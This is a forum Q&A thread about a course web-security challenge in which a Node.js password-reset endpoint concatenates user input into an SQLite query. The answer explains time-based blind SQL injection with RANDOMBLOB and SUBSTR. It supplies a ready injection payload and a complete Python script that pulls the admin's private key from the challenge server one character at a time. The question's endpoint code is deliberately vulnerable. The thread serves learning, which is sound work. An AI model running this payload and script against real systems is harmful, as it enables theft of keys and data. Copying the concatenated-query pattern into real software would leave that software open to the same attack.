2

I've tried to solve the following "hacking" challenge in order to get experience with web vulnerabilities.

The service is programmed in node.js and is accessible as http://lbs-course.askarov.net:3030:

app.post ("/reset/", function (req, res) {
    var user = req.body.username;
    if (!user) {
      res.send("no username provided");
    } else {
      db.get (
        "select * from users where username='" + user + "'",
        function (err, row) {
          // ...
          if (row) {
            // ... send email because we have a real response
          }
          res.send("password reset email has been queued");
        })
    }
})

The details for sending emails are irrelevant and are commented out (as in the challenge).

The data is stored in a simple SQLite 3 database. The users tables used by the service is created using the following SQL create query:

CREATE TABLE users(username text, passwordhash text, key text)

There exists at least one user in the database, with username admin.

Goal:

Obtain the private key for user admin.

My attempt:

I've tried SQL injection, e.g. with user set to ' OR ''=', however nothing happens... Also, I've read articles about MS SQL supporting the EXECUTE() function, but I cannot find the equivalent in SQLite. With such a function, I could in principle execute shell commands like nslookup.

It is obvious that the only point where this service is vulnerable is the db.get() call, and since the details for sending emails are irrelevant, then I must somehow make the database send the private key for admin (reason for EXECUTE() call).

I'm stuck in this challenge after spending lots of hours, so I think it's time to ask the community for help.

  • 1
    You should always do your homework on your own. But as a hint, you are on the right track with sql injection. Just keep in mind that the resulting string needs to be valid sql syntax. – Stephan Apr 3 '17 at 18:28
  • But what could I use in place of EXECUTE()? The string is valid? – Shuzheng Apr 3 '17 at 18:36
  • You're overthinking it. The query already returns all the fields of the record that matches. You just need to pass it the information to get the record you want. – Stephan Apr 3 '17 at 18:41
  • hint: you can do more than one thing in a "single" sql statement – dandavis Apr 3 '17 at 19:19
  • 1
    Well, if the email functionality could be used to retrieve the key I'm open for any suggestions, but again, the details for sending emails are irrelevant to the challenge. – Shuzheng Apr 4 '17 at 9:23
2

The application seems to be resilient to malformed SQL queries and does not output error information directly to the user. So, if the application will not explicitly output the stored key, then we should aim at retrieving it by other means.

A more subtle SQL injection technique is that of timed SQL queries: In order to gain information about what's stored in the database, we will ask queries that takes "long" time to execute if successful, otherwise they terminate "fast". The definition of successful depends on the application, but it would normally mean that our query returns a result. Also, "fast" and "long" execution times are parametrized by the application.

Now, since you know the database is an SQLite database, we should look for a function that would take "long" to execute. Some databases have the canonical choice of SLEEP() available, but SQLite does not provide such functionality. Instead, we could rely on the RANDOMBLOB(), which generates a sequence of random bits.

How long does RANDOMBLOB() takes to execute? Well, this should be measured by the attacker, and the resulting measure will (partly) determine the meaning of "fast" and "long" execution times. Indeed, it would be more accurate to use the SLEEP() function, but RANDOMBLOB() will suffice for our purposes.

Another function that will prove useful in extracting the key is SUBSTR(): We extract the key character-by-character with a "long" response meaning success, while a "fast" response means fail.

Since, we know that admin is guaranteed to be in the database, we send a POST-request with the following value for username:

"admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --"

This string gets substituted for user by the application in the query string:

 "select * from users where username='" + user + "'"

This is turn yields:

"select * from users where username='admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --'"

Indeed, we see that if ch match key at position pos, then RANDOMBLOB() gets executed and the response will take a "long" time to arrive. Otherwise, the response will arrive "fast".

A Python script to extract the secret (PGP) key:

Be aware that it might be necessary to adjust the timeout parameter according to server load and execution time of RANDOMBLOB().

import requests
import socket
import string

url = 'http://lbs-course.askarov.net:3030/reset'
timeout = 6
size = 1000000000
key_len = 1000
rounds = 3

def main():
    key = ""
    for pos in range(1,key_len+1):
        for ch in string.printable:
            try:
                if test_key_index(pos, ch):
                    print("[INFO] Found key position {pos}: {ch}".format(pos=pos, ch=ch))
                    key = key + ch
                    break
            except KeyboardInterrupt as e:
                print("[INFO] Partial key obtained: {key}".format(key=key))
                return
    print("[INFO] Partial key obtained: {key}".format(key=key))

def test_key_index(pos, ch):
    query = "admin' AND substr(key,{pos},1) == '{ch}' AND 1 == randomblob({size}) --".format(pos=pos, ch=ch, size=size)
    #print(query)
    post_fields = {'username': query} # POST fields
    for _ in range(rounds):
        try:
            response = requests.post(url, data=post_fields, timeout=timeout)
            return False
        except requests.exceptions.Timeout as timeout_e:
            pass
    return True

if __name__ == '__main__':
    main()

Hope this helps!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.